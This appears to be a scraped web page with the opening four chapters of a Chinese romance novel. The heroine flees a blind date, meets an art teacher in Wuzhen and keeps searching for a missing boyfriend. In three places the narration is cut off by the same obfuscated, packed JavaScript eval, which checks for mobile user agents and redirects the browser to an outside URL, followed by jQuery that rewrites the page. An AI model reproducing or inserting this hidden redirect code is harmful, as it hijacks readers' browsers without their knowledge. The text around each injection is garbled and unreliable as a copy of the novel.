《她活不过二十八岁》 1. 第1章 画中人(1) 火车进站时,天边的星子还眨着惺忪睡眼,月牙似的月亮还留着一圈淡淡的模糊轮廓。 女列车员清扫车厢时,看到窝在窗边熟睡的赵嘉儿,探过身子推了推她:“诶!姑娘,到终点站了!” 赵嘉儿迷迷糊糊地睁开眼,觉得手臂有些发麻,听到女列车员再次催促的声音,她惊问道:“终点站?杭州站过了?” 女列车员同情地看了她一眼,笑着点了点头:“这里是桐乡。你要去杭州的话,只能再买票坐回去了。” 赵嘉儿连连道谢,背起黑色背包便向车厢外冲去,女列车员在她身后喊道:“你的充电宝落下了!” 赵嘉儿折转回来,接过女列车员手中的阿狸充电宝,红着脸道谢:“谢谢!” 女列车员无奈地道:“出门在外,多留个心眼。你也坐过站了,天还没亮,你也不用急,先看看有没有落下其他东西吧!” 赵嘉儿觉得有道理,打开背包,里里外外检查了一遍。 相机、平板电脑、防晒霜、遮阳帽、充电宝……出门必备的一应物品都在,她也松了一口气。 然而,没走几步远,她忽失声惊叫:“我的手机呢?” “不就挂在你脖子上么?”女列车员心力交瘁地指了指她挂在脖子上的手机。 手机壳是四十五度角仰望天空的阿狸。 桐乡火车站人潮如海,六点不到的黎明还有些凉意。 赵嘉儿挤出人群,在灰蒙蒙的天空下茫然四顾。 她是一时心血来潮逃离了家门,想领略领略江南的风光,哪知头一次出远门便坐过了站。在这人生地不熟的地方,她感到凄凉无助。 身边一大群大学生模样的男女涌向火车站外的客运站点,他们身上皆背着画板,朝气蓬勃,一路上说说笑笑。 她喜欢学生身上的这股朝气。从背包内取出相机,调了调焦距,那群学生的笑脸便印在了她的相框里。 她又接连拍了拍火车站各处的人与景。 当拍下黎明前半灰半白的天空后,她将相机挂在胸前,快步跟上了前头的那群学生。 既然来了,不如就去乌镇。 退了在杭州预订的酒店,赵嘉儿又在网上搜寻着乌镇附近的民宿。正值旅游旺季,酒店、民宿早已人满为患,她咨询了多家也未找到今晚的落脚点。 赵嘉儿是个心宽的人,即使没找到今晚的落脚点,还是上了开往乌镇的车。 赵嘉儿上车时已没了座位,车内十分拥挤,人挨着人,连呼吸都贴得十分近。她一手护着胸前的相机,一手死死抓着车内的栏杆,苦闷地蹙着眉头。 她面前的座位上,身穿黑色风衣的男子抬手微微掀起鸭舌帽的帽檐,乌黑发亮的眼睛在她脸上停留了几秒,便朝她露出了善意的微笑:“你来坐吧。” 赵嘉儿笑着摇摇头:“不用了,谢谢。” 男子身边的女学生笑着劝道:“还有半个小时的车程呢!廖老师这是为人师表,姐姐还是坐吧!” 赵嘉儿心中已有几分松动,见那廖老师已起身让了座,她也不再推辞,笑着道了一声谢,便取下肩上的背包坐了上去。 身边的女学生是个热情的人,见她坐了过来,便凑过来问道:“我是江南艺术学院的学生,沈梦。姐姐一个人过来旅游的么?” 赵嘉儿笑着点头:“是的。” “我一直想像姐姐一样,一个人背着背包,走遍千山万水,没钱了,就画画换一些钱继续上路!”沈梦脸上有些神往,又有些感伤,“不过,我爸妈不会同意。” 想到自己这次出门的初衷,赵嘉儿苦笑了一下,礼尚往来地问了一句:“你们是来写生?” “是啊!学校组织了这次写生活动,各个老师负责的写生地方也不一样,我报了乌镇,没想到这次负责的老师是廖老师!” 赵嘉儿见她提起这位“廖老师”便双目发亮,不由抬头看了看扶着栏杆站立的男子。 帽檐遮住了他的眉眼,只看得到他紧抿的唇角。他聚精会神地盯着手机屏幕,双耳里塞了白色的耳塞,左手拇指快速地在屏幕上打着字。 在他收起手机微微抬头之际,赵嘉儿赶紧收回了目光,若无其事地将目光投向了车窗外。 红日半出的清晨,暖黄的光线给路边的绿树镀上了一层温暖的光芒,光芒打在车窗上,暖暖的。 赵嘉儿下了车,掏出手机一看,竟有十几通未接来电,而且显示的都是同一个人的号码。 她点开“池小勉”的未接来电,那头的电话很快就通了,却静悄悄的没有声音。 赵嘉儿轻轻“喂”了几声,那头依旧没有声音。 但是,她知道,电话的主人在一旁,正生着气。 “池小勉,”赵嘉儿的语气弱了几分,讪讪笑道,“我之前在车上,比较吵,没听到电话响。我现在在乌镇……” 不待她交代完毕,电话那头的池勉便按捺不住了:“你不是告诉我,你要来杭州么?怎么突然跑到乌镇去了?” 赵嘉儿环顾人来人往的车站,不见与她同路的那群学生,一边向公交站牌走去,一边挠头:“我坐过站了。” “坐过站了就再坐回来!”池勉气急败坏的声音在那头响起,“我在东站等了你两个小时,电话也打不通!坐过站了,你不知道跟我打电话说么?赶紧回来!” 赵嘉儿将手机拿远了一些,直到听不到池勉的咆哮声,她才将耳朵贴上去,笑道:“我就在乌镇逛一逛,晚些时候去杭州找你。” “不用你来找我,你就在原地给我等着!”池勉说话的声音有些急,甚至有些喘。 赵嘉儿听到那边传来进站检票的声音,问道:“你在做什么呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227859|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 池勉道:“我买了七点半的高铁票,我过去找你。不许再乱跑了,乖乖在那儿等我!” 赵嘉儿心中有些感动,眼眶不争气地红了:“那我先吃早餐。你吃了么?” “没有,”池勉在候车厅内坐下,看了看显示屏的时间,“不跟你说了,还有十分钟就要检票了。你先吃吧。” 挂断电话,赵嘉儿发了许久的呆,一个人孤零零地站在晨光里。 车站里的游客来来往往,无不成群结队,有说有笑地坐上车扬尘而去。 来到梦中的江南小镇,赵嘉儿心情平和,端起相机,镜头下记录的点点滴滴,都是她生命中的印记。 她用手中的相机记录着风景,却不知,她也成了旁人笔下的风景。 她身穿素色的碎花长裙,脚上穿着白色运动鞋,霞光在她身上晕开,端起相机微笑的侧脸,温婉动人。 廖书言在面馆外默默画下了这幅画,有男学生吃完早餐出了面馆,见了画板上的画,不禁惊叹一声:“什么样的人儿在廖老师笔下,都成了神仙似的人物了!” 廖书言收起画纸,整理着画架,和颜悦色地问了一句:“其他同学都吃完了么?” 男学生点了点头。 廖书言颔首:“大巴司机快到了,召集其他同学在前边的公交站牌处集合。” 赵嘉儿看到那群学生陆陆续续跑到公交站牌处,上了一辆大巴车,笑着向沈梦挥了挥手。沈梦从车窗内探出头,热情地邀请道:“姐姐,你还没走啊?要不要跟我们一起走?” 赵嘉儿道:“我在等人。谢谢你。” 沈梦冲着她暧昧一笑,小声问道:“男朋友?” 赵嘉儿抿嘴笑,摇了摇头。 学生已陆陆续续上了车,廖书言从赵嘉儿身边走过,赵嘉儿赶紧让路,礼貌地笑了笑:“廖老师好走。” 廖书言诧异地望向她,点了点头,便上了车。 车上,廖书言坐在最前边,听到手机微信震动的声音,他缓缓地掏出手机,面无表情地点开了微信。 在备注有“姐姐”的对话框里,对方接连发了一连串的语音,最后发过来一张照片。 他不用听语音,便知道她要说的话,却并没有心思去听。 可是,看到照片上的人,他不由偏头看向了窗外。 车子启动,赵嘉儿的身影在他视线里,一点点消失。 而照片上的人,无论眉眼,还是气质,都与她极其相似。 廖书言心中颇为震动,戴上耳塞,将姐姐发过来的语音一一听了一遍。 似乎见他许久没有回复,那头又发来一条文字信息:你忙完了,抽空回家一趟。照片你也看过了,是个好女孩,你也不小了,不要再给我找借口推脱! 廖书言手指点着屏幕,斟酌许久,才回了一个字:好。 2. 第2章 画中人(2) 夏阳渐渐升高,赵嘉儿百无聊赖地摆弄着相机,一张张翻看着沿途拍下的照片,嘴边一直挂着笑。 肩头突然被拍打一下,她缓缓抬起头向身后看了一眼,便见池勉笑着向她张开了双臂:“来,抱一个!” 赵嘉儿笑着推了他一把,递给他一盒煎饺和一瓶水:“我已在网上买了东栅西栅的联票,你先吃早餐,待会儿我们去逛东栅,晚上再逛西栅,怎样?” 池勉瞅她一眼:“晚上?你订好酒店了?” 赵嘉儿挠头:“没有……景区里应该还有空房间,外边的酒店和民宿都满了。” “大小姐,”池勉笑得无奈,“你是钱多的没处花了,是吧?景区里的酒店咱住不起!就你这迷迷糊糊的性子,还敢一个人离家出走?” 赵嘉儿不服气:“聊胜于无。总不至于流落街头吧?” 池勉拧开瓶盖喝过一口水,随手取过了她肩上的背包,拦路招了一辆出租车。赵嘉儿不明所以地跟了上去,池勉一把将她塞进后座,随后便挤了进来。 “师傅,江南民宿。” “你订了住宿的地方?”赵嘉儿又惊又喜。 池勉仰头靠在车座上,神情疲惫地道:“前段日子来过这里,住的也是江南民宿,刚好留了联系方式。来之前,我问过了,今天刚好有退房的,我们晚上就住在那儿。” 赵嘉儿见他哈欠连天,心里过意不去,叹了一口气:“我没让你去车站接我,你怎么还是去了?不用工作么?” 池勉偏头,微微笑道:“我说要接女朋友,老板便准了假。” 赵嘉儿嗔怪地瞟了他一眼,红着脸道:“谁是你女朋友!” “女性朋友,”池勉一见她脸色不对,忙改了口,“口误口误,别生气。” 赵嘉儿只是撑着下颚,默默无言地看着窗外。 出租车在江南民宿停下,池勉算过车钱,却被民宿老板告知只剩下一间房。 赵嘉儿背着包站在民宿门前的松树下无聊地踢着石子,听到池勉叫了她,她慢慢上前,池勉便将房间钥匙交到她手中:“三楼307,把包放下,老板开车送我们去东栅。” 赵嘉儿看着手中的钥匙,抬脸问他:“你的房间呢?” 池勉无所谓地耸了耸肩:“我一个大男人,哪里都能将就。” 赵嘉儿没有多说,上楼开了307的门。 因是民宿,开门便是桌椅和两张床,没有玄关,没有酒店那样宽敞明亮,却布置得十分温馨。四周的墙壁上贴了素雅的墙纸,头顶的白炽灯四周还缠绕着几段彩带。 赵嘉儿里里外外地看了看,对如今的落脚处已经很满足了。房间的窗子朝街道开着,她趴在窗边向外张望一圈,见池勉正与民宿老板站在一处聊着天,她喊了一声:“池小勉!” 池勉抬头,便见上方赵嘉儿满是笑意的脸,眼里的光比头顶的阳光还要耀眼。 “上来!”赵嘉儿欢欢喜喜地朝他招手,“房间里有两张床!” 池勉面色微窘,身边的老板笑意满脸地说道:“还说跟人家姑娘没关系?人家姑娘比你坦诚多了,今晚你也不用睡我家楼下的沙发了!” 池勉瘪嘴道:“她什么也不懂!” 池勉爬上楼,在楼梯口却遇上了一群抱着画板的学生陆陆续续下楼,他只得侧身让开,让这群学生先行。 廖书言戴着鸭舌帽最后下楼,经过池勉身边时,赵嘉儿见池勉许久未上楼,跑到二楼楼梯口见池勉杵在楼下不动,便趴在楼栏上道:“池小勉,你今晚可以跟我睡一间房!” 廖书言只觉身后传来的声音有些熟悉,顿住脚步回身看了看,池勉已从他身边几步蹿上了楼,抓住赵嘉儿的胳膊就往楼上带。 “别囔!”池勉向楼下看了一眼,见那些学生不在了,才小声对赵嘉儿说道,“你这样,容易让人误会我们的关系!” 赵嘉儿垂着脑袋:“我是一时太高兴了。” 池勉笑道:“你这么相信我啊?” 赵嘉儿笑着点头,将他引到房间,一指两张床位之间撑起的布帘子,扬了扬眉:“有帘子挡着。” 赵嘉儿坐上乌篷船,看着河湾两旁的粉墙黑瓦,端起相机便没有放下过。船只驶过拱桥下,缓缓向一处绿树环绕的街道荡去。 偶尔遇见三两坐在角落里写生的学生,赵嘉儿总会举起相机拍下他们认真作画的样子。 池勉因东栅人多,早已丧失了游玩的兴致,见赵嘉儿兴致始终不减,他有气无力地调侃道:“你总偷拍那些写生的学生做什么?能拍出一个陆嘉清来?” 赵嘉儿只觉心头被浇了一盆冷水,独自摆弄着相机,眼眶渐渐蒙上了一层雾气:“你别提他,行么?” 池勉道:“我可以不提他,那你能不去想他么?” 赵嘉儿闷着脑袋一个人往河湾走去。 这处河湾人烟稀少,杨柳低垂,河湾对面是被历史洇湿的粉墙民居,有人家的屋后挂满了盆栽,朵朵鲜花在屋檐、墙角盛开。 赵嘉儿见前方有一排学生在此写生,停下脚步没有走近,却是找了一个角度,将这一幅写生图拍进了相机里。 池勉追上来,默默陪着她走了一段路,见她停在一棵柳树下去拍对面的风景,低声叫了一声:“嘉儿。” 赵嘉儿闷闷地应了一声:“什么事?” 池勉靠树站立,眼神望着河湾对面,轻声道:“其实,你可以尝试着去见见你的相亲对象,万一是王八看绿豆,互相看对眼了呢!” 赵嘉儿抿嘴笑道:“你才是王八呢!” 池勉立即笑道:“好!我是王八,你是绿豆!实在不行,咱俩也可以凑合凑合,你也不用因为一场相亲离家出走了!” 赵嘉儿若有所思地看着他,轻轻笑道:“你不行。” “我怎么就不行了?”池勉站直身子,不服气地道,“不说咱俩的交情,就我这身高、样貌,你看中不中?” 赵嘉儿挑眉,昂着头,道:“你没车没房,不中。” “我……”池勉险些要对她爆粗口,故作生气地看着她,“我说你俗不俗?你是故意戳我痛处,是吧?” 咔嚓—— 池勉只觉眼前闪光灯闪过,赵嘉儿却是举着相机朝他笑道:“好了,又拍了你一张丑照!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227860|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我说你……怎么着,你要多拍拍我帅气的样子啊!” 赵嘉儿没理会他,端着相机跑远了。 池勉叹息一声,慢慢地追了上去。 赵嘉儿忽然停下,端起手中的相机,似发现了新大陆般,眼中有星子闪过。 池勉凑近问道:“在拍谁呢?” 赵嘉儿低声道:“别做声。” 廖书言身边坐了三两学生,他自己也拿出画板,坐在一棵柳树下画着河对面的屋宇,神情专注。低垂的柳条儿在他身后随风起舞,光影斑驳,在他身侧起伏流动。 赵嘉儿按下快门的那一刹,他似有所察觉,微微偏头,便见到了正对着他举着相机的赵嘉儿。 偷拍被发现,赵嘉儿脸面微红,抱着相机朝廖书言微微欠了欠身,笑着唤了一声:“廖老师。” 廖书言眼中有微光划过,闻言,只是笑着对她点了点头,便又执起了画笔。 池勉看着这一群学生的装扮有些熟悉,问着赵嘉儿:“你们认识?” 赵嘉儿道:“来乌镇,我们坐的同一辆车。” 经过这群写生的学生时,赵嘉儿便听到了沈梦的声音。 “赵嘉儿姐姐!”前头,沈梦站起身向赵嘉儿使劲地挥舞着手臂,“过来这边!” 池勉道:“你过去吧,我不过去了。” 赵嘉儿没去管他,小跑着跑到了沈梦身边。 池勉却退回到廖书言画画的柳树下,背靠着树,轻飘飘地问了一句:“廖老师是哪所学校的啊?” 廖书言正打着光影,听闻,并未回头去看,只是简短地回了一句:“江南艺术学院。” 池勉沉默了一会儿,又道:“我看过你的画展,红色丹顶鹤。” 廖书言停了手中的画,低声道:“你是行家。” “不,”池勉抬头看了看,笑道,“我是门外汉。只是曾经有个朋友特别喜欢你,不巧,他画过你的画像,我刚好见过,三口大画家。” 廖书言缓缓地问道:“你与嘉清是朋友?” 池勉长叹一口气:“大学里,我们是同学,还有嘉儿。” 廖书言下意识地向赵嘉儿的方向看了一眼,再次拿起画笔:“嘉清曾是我私下里的学生,极有天赋,他的课时还未学完,我便联系不上他了。” 池勉道:“这家伙大学里是学过画画,自己学了些皮毛,又去教嘉儿。就在毕业后没多久,他突然就失踪了,警方也找不到丝毫线索,这失踪案一直被搁置着。两年了,我们都说他可能遭遇不测了,嘉儿却偏偏不信,不会画画,就去学了摄影,拍了一摞摞照片,想要找到线索找到他。” “他们是……”廖书言手中的画笔一顿,心口竟突突突地跳个不停,有些紧张。 “男女朋友……”池勉从树后走出,来到廖书言跟前,直视着他,“廖老师,嘉清与我们最后分别时,是说要去三口老师那儿上课,之后便失踪了。” 廖书言抬头看他,微微蹙眉:“你怀疑与我有关?” “不,”池勉认真地看着他,“我是想请你帮忙想想,两年前的教师节,他有没有去你那儿上课?” 3. 第3章 画中人(3) 池勉兜里的电话突然响了。 他一见是报社主编打来的电话,迅速接通了电话。 “小池,赶紧回报社!” “老大,我在乌镇。” “不管在哪里,都赶紧给我滚回来!云南鲁甸地震,需要你去震区做一线采访!回来后,我跟老板申请,给你升职加薪!” 池勉顿时打起了十二分的精神,望了望学生群里的赵嘉儿:“我知道了,我马上赶回去!” 与赵嘉儿匆匆告别后,池勉直接坐上了从乌镇开往杭州的大巴。 赵嘉儿给他发来一条信息:一切小心。 池勉脸上不由有了笑,回复道:玩得开心,然后,回家相亲去。 赵嘉儿盯着池勉发过来的信息,瘪了瘪嘴,便打开网页浏览起来。短短几分钟的时间,各大新闻网站几乎被鲁甸地震的消息铺满,空中拍摄的震区已是一片废墟。 赵嘉儿看着看着,心里便有些堵得慌,也没有游玩的兴致了。 东栅到西栅有段距离,赵嘉儿在外边随意找了一家菜馆吃了晚饭,进入西栅后,天色已经黑了下来。 夜晚的西栅依旧很热闹,她孤身一人置身人流里,反倒觉得更加孤独了。 黑夜里,一个人时,她总是格外想念陆嘉清。 拥挤狭窄的巷道挂满彩色灯笼,灯火灿烂,路过的行人总会驻足拍照合影。 赵嘉儿穿过拥挤的人群,在河边的石条凳上歇了歇,身边突然坐了一个瘦弱的青年男子,倾过身子与她搭讪:“小姐,一个人来乌镇玩啊?” 赵嘉儿听他语气轻佻,心中反感,向旁挪了挪,没有吭声。 “正巧,我也是一个人。我叔叔在这里开了一家小吃店,我带你过去吃夜宵吧?” “不用了!谢谢!”一见他竟伸手摸向她的大腿,赵嘉儿吓得起身,快步走向了人群。 然而,她回头去看时,那青年男子总是插着兜,慢悠悠地跟在她身后晃荡。 此刻,她心里害怕极了。 池勉临时有事走了,在这人生地不熟的地方,她不知道该向谁求助。 赵嘉儿的方向感一向不好,为了躲着一直跟踪她的青年男子,她只能胡乱跟着人群走,走着走着,人群渐渐稀少了,她胡乱转了一圈,却找不到出口在哪里。 问了稀稀拉拉的游客,也没人能给她指出一条正确的路来。 她再次回到摆满酱油缸的酱坊时,周围几乎没有什么游客了。她四处张望了一下,没发现有人跟踪,一直提着的心才稍稍放下去了一点。 廖书言各个房间里点了点人数,确认人数已到齐,才抻着胳膊回屋舒舒服服地洗了一个澡。 躺在床上望着头顶的天花板,池勉的话总是萦绕在他脑海,思绪飘来飘去,却突然想到了赵嘉儿。 摸到床头的手机,点开相册里的照片,正是穿着一身运动装的赵嘉儿。 姐姐发来的这张照片,赵嘉儿笑得开心,一对眼弯成了月牙儿,手中抱着的正是她爱不释手的相机。 当时,姐姐连她的联系方式也发了过来,他凭着记忆拨出那一串号码,却迟迟不敢打过去。 “太晚了,”廖书言放下手机,暗自呼出一口气,“她应该睡了。” 这种怦然心动的感觉令他辗转反侧,也无法安放。 “嘉清……”廖书言猛地坐起身,拿起床头的手机,犹豫之余,手指已按下了拨通键。 电话没过多久便接通了。 “喂?” 电话里听来,赵嘉儿的声音有些沙哑,廖书言却听出她的声音有些发抖。 “赵小姐,”廖书言穿上拖鞋,走到窗边,看着灯火闪烁的街道,尽量让自己的声音平静而不失礼貌,“是我,廖书言,你方便……” “廖老师?”赵嘉儿的声音里透着兴奋和激动。 廖书言似乎听到了她轻微的啜泣声和周边细微的交谈声。 “是我,你还在外边?” 赵嘉儿此时已无暇去思索廖书言为何有她的手机号码,一边往光亮处走,一边说着:“我刚出西栅,被人跟踪了。” 廖书言心中一惊,声音依旧沉稳:“你找人多的地方避一避,我过去找你。” 赵嘉儿有些惊讶,忙道:“我可以打车回去。” “打车不安全,”廖书言已换好衣服,问了一句,“在哪个门?我去接你。” 赵嘉儿心里有些怪异,见那青年男子依旧在附近徘徊,只得妥协道:“东门。” “电话你别挂。” 赵嘉儿乖乖应了,能听到那一头廖书言关门、下楼、与老板借车的声音。不一会儿,便是车子启动的声音。 在清冷空荡的街道上,电话那头的声音仿佛是她的一道福音,渐渐驱散了她心里的慌乱和害怕。 夜里寒气渐浓,赵嘉儿穿得单薄,只能来回走动着。 街道两旁的人群相继离去,赵嘉儿见那青年男子向她的方向走来,心再次提到了嗓子眼。 “廖老师,您还在么?” 廖书言换上蓝牙耳机,应道:“我在开车。你那边还有人么?” “还有一对夫妻带着一个小孩,一对情侣……”赵嘉儿话说一半,突然惊叫一声,“一家三口走了!” 廖书言在电话里听到她惊慌失措的声音,不由笑了:“你把电话给那对情侣中的任何一个人,我跟那人说几句话。” 赵嘉儿不明所以,在廖书言的催促下,还是硬着头皮上前,红着脸道:“我想请你们帮我接一个电话,可以么?” 两个人明显有些抵触情绪,但是,赵嘉儿的面相和善,气质温婉,她再温声细语地去求人,那女孩倒先心软了,茫然又不安地接过了她手中的手机。 赵嘉儿只听到她对着手机点头或微笑。 最后,女孩笑着说了一句:“好的!” 女孩微笑地将手机递回到赵嘉儿手中,转头便对身边的男孩说了一句:“有专车司机送我们回酒店啦!” 女孩拉过赵嘉儿的手,警惕地向后看了看,说道:“你朋友都跟我说了,你被流氓跟踪了是不是?在电话里,他跟我说了,我们等到他来,然后他就送我们回酒店!这么晚了,正愁打不到车呢!” 赵嘉儿尴尬地笑了笑:“谢谢!” 电话那头,再次传来廖书言温和的声音:“我先挂了,大约十分钟左右会到。” 赵嘉儿不知该说些什么,酝酿半晌,才缓缓地说了一句:“路上小心。” 在与廖书言通话的期间,赵嘉儿便接到了两个来电,挂断电话查看通话记录,正是池勉打来的电话。她回了过去,却提示对方的电话已关机。 点开微信,果真有池勉发过来的两条信息: 与谁讲电话呢!讲那么久! 今晚的飞机,待会手机会关机,你就联系不到我啦!记得想我啊! 赵嘉儿笑着回复道:嘴贱!工作顺利,万事小心! 廖书言接着赵嘉儿时,便见她冷得直哆嗦。他履行约定将那对情侣送往了酒店,又将车开往江南民宿。 路上,赵嘉儿已靠在副驾驶座上睡着了。 他将自己的黑色风衣脱下,轻轻盖在她身上,到达民宿门口时,他探过身子,轻声道:“到地方了。” 赵嘉儿只是嘟囔了一声,便又睡了过去。 廖书言无法,下车在车外走动了两圈,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227861|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开车门,小心翼翼地替她解开安全带,轻手轻脚地将她抱起。 将车钥匙还给仍在值夜的老板,他又找老板要了赵嘉儿房间的备用钥匙。 赵嘉儿睡得沉,廖书言放下她时,她拧了拧眉头,死死抱住了他的手臂,嘟囔着:“嘉清……” 廖书言的心蓦地一沉,在她渐渐放松之际,缓缓抽出了手臂,替她取了胸前的相机,又轻轻地脱下她的鞋,盖上棉被。 他坐在床沿看着她渐渐安睡的容颜,嘴角不觉浮出了一抹极浅极淡的笑容:“一点心眼也没有,怎么敢一个人离家出走呢?” 廖书言在赵嘉儿房间又坐了一会儿,替她锁好门窗后,才回到了自己的房间。 想起姐姐替自己安排的这场相亲,再联想到赵嘉儿的态度,她似乎并不知道她的相亲对象就是他。 从姐姐口中得知,她为了躲避这场相亲而离家出走,老天却又阴错阳差地让他们在这江南水乡遇见了。 他难得遇见如此有眼缘的女孩子,即便她心中难以割舍掉那份旧爱,他也愿意去等她。 一见如故,再见成欢。 对她,大抵便是如此了吧。 他不奢望爱情,也不期待爱情。 可是,爱情却突然降临。 赵嘉儿一觉睡到天亮,昨晚的记忆,从廖书言接到自己后,统统没有。 闻着满身的汗臭味,她忍受不了,仔仔细细地冲了澡、洗了头。 正用毛巾抹着湿漉漉的头发,房门突然被敲响,她赶紧趿拉着拖鞋去开门。 “沈梦!” 沈梦从半开的门缝里钻进来,将手中的早餐放在桌上,一屁股坐在床上,态度热忱:“嘉儿姐姐,我特意给你留了早餐哦!我们今天中午就要启程回学校了,你要不要去南京玩?” 赵嘉儿笑道:“有机会一定去!我得去一趟云南!” 沈梦坐正身子:“是去鲁甸么?” “嗯,”赵嘉儿将头发盘起,接过沈梦递过来的小笼包,“你们廖老师呢?” 沈梦的双目瞬间亮了,笑道:“廖老师在楼下吃早餐呢!你找他啊?” 赵嘉儿低着头抿嘴微笑:“就是随口问问。” 沈梦歪着脑袋瞅着她,眼中渐渐有了些疑惑。她正要问,赵嘉儿放在柜子上的手机突然震动了两下。 赵嘉儿划开手机屏幕,发现是一串陌生的电话号码发来的信息,便走到窗边拧着眉头点开了短信: 接下来去哪里? 赵嘉儿感到莫名其妙,本不想理会,却又觉得这串号码有些熟悉,但是又想不起来什么时候见过,便敲下了三个字:你是谁? 身后,沈梦落寞地叹了一口气:“我不打扰你了,就先下去了!” “好!”赵嘉儿才应了一声,手机铃声便响了起来,来电显示正是那一串陌生又有些熟悉的电话号码。 她忐忑不安地接起:“您好?” “没有存下我的号码?” 电话那头的声音温和低沉,赵嘉儿懊恼地揪了揪头发,尴尬地笑了笑:“廖老师……” 她讲电话时就站在窗边,见廖书言从一楼的大堂走出来,一抬头,便看到了她。 赵嘉儿的脸倏地就红到了耳根,扯着嘴角,僵硬地朝他挥了挥手。 “我送学生回学校后,会去云南……”廖书言说完便走到民宿楼前的松树下,望着她的窗口。 赵嘉儿心里一惊。 这是什么意思? 她坐回到床上,一字一句说得极慢:“我也打算去云南。” 许久,那边才传来廖书言的声音:“跟我回南京,再一起去云南,一路上也有个照应,怎么样?” 4. 第4章 画中人(4) 赵嘉儿手指卷着头发,苦恼不已:“可以拒绝么?” 廖书言不曾料到她会拒绝得这样直接干脆,沉默了一阵,他缓缓笑道:“可以。” 赵嘉儿听他语气不对,连忙笑道:“廖老师,我刚才是逗您呢!我家里管得严,一个人没怎么出过远门……那,一路上就麻烦您了!以后每年的教师节,我一定会给您发红包慰问!” 廖书言笑问:“为什么要是教师节?” 赵嘉儿突然哽住了,耳朵紧紧贴着手机,缠着头发的手指慢慢垂了下来。 她怎么就脱口而出了呢? 两年前的教师节,正是陆嘉清从她世界里消失的日子。 在电话里,她听见楼下有人在叫“廖老师”,浑身一个激灵,调整好情绪正要开口,廖书言已先出声了。 “赵小姐,”廖书言向大堂内的男学生打了一个手势,语气里带了几分歉意和急切,“我处理一下学生的事情,你先吃早餐。” 赵嘉儿来不及回应,电话便被挂断了。 这一刻,她竟然有了一丝小情绪。 这一次,她乖乖存下了这串陌生到熟悉的电话号码,在联系人姓名一栏里打上“廖书言”三个字,觉得不妥,删除后,又重新打上了“廖老师”。 她吃着沈梦送来的小笼包,听到楼上楼下一片嘈杂,起身从窗边探出半边身子,只看到廖书言抱着一名女学生钻进了民宿老板的车里。 车前,围满了一同前来写生的学生。 赵嘉儿没看清廖书言怀抱中那女学生的脸,看到民宿老板载着廖书言与那女学生绝尘而去,意识到可能出事了。 她来不及换鞋,趿拉着拖鞋奔下楼,逮着一名女学生,问道:“出什么事了么?” 因沈梦的缘故,写生的十四位学生都认得赵嘉儿;而赵嘉儿逮着的这名女学生,正是与沈梦关系比较亲密的一名学生。 女孩眼眶微微泛红,声音有些哑:“梦梦突然肚子疼,疼得晕了过去,老师送她去本地的医院了。” 赵嘉儿只记得自己例假的前三天会疼得死去活来,听了女孩的话,便脱口问道:“她痛经么?” 女孩摇头:“她例假没来呢,应该是肠胃出了问题吧。” 赵嘉儿不知说些什么安慰她,便听到大堂内有一名带头的男学生大声说道:“沈梦同学身体不佳,廖老师需要陪同,其余同学上楼清点自己的行李,半小时后在楼下集合,回学校的车,会在十一点左右来接我们!” 与赵嘉儿站在一处的女学生上前问了一句:“那梦梦怎么办?” 男学生道:“廖老师会送她回学校!你们的行程,暂时由我负责!” 赵嘉儿见一群学生陆陆续续上了楼,也跟着上了楼。她想打电话给廖书言询问沈梦的情况,又怕这个时候给他添乱,抱着手机在房间里徘徊了许久,手机突然震动了一下。 是姐姐赵贤儿发来的微信。 一张小男孩的照片。 赵嘉儿正纳闷,赵贤儿的电话就打了进来。 赵嘉儿拧着秀眉,不情不愿地接起,电话那头放着欧美流行的摇滚乐。 欧美风,正是赵贤儿喜欢的风格。 赵嘉儿被那头吵闹的音乐震得鼓膜疼,按了按太阳穴,有气无力地叫了一声:“姐,一大早就扰民,邻居会投诉的!” “投诉就投诉呗!正好想换房子了!”赵贤儿的声音像是从音箱里发出来一样,又嗡又哑。 赵嘉儿皱眉:“你在做什么?” “敷面膜啊!早晚各一片,永远十八岁!”赵贤儿从真皮沙发上坐起,将手机从右手换到左手,“对了,给你发过去的相亲对象的照片,觉得怎样?” 赵嘉儿笑道:“姐,你连七八岁的小孩儿也不放过么?” 赵贤儿揭了脸上的面膜,欲哭无泪:“我也没有办法啊!男方那边没有成人照,只有小时候的照片,我弄来一张照片容易嘛我……你有没有仔细看啊,人家小时候长得就不赖,所以,现在的样子应该不会太差!哎呀,妹妹呀!我的好嘉儿呀,这是姐姐美容院里的一个老客户介绍过来的对象呀,人家家里有钱,只要成了,姐姐以后也跟着你沾光啊!” 赵贤儿的话匣子一旦开了,很难再关上。 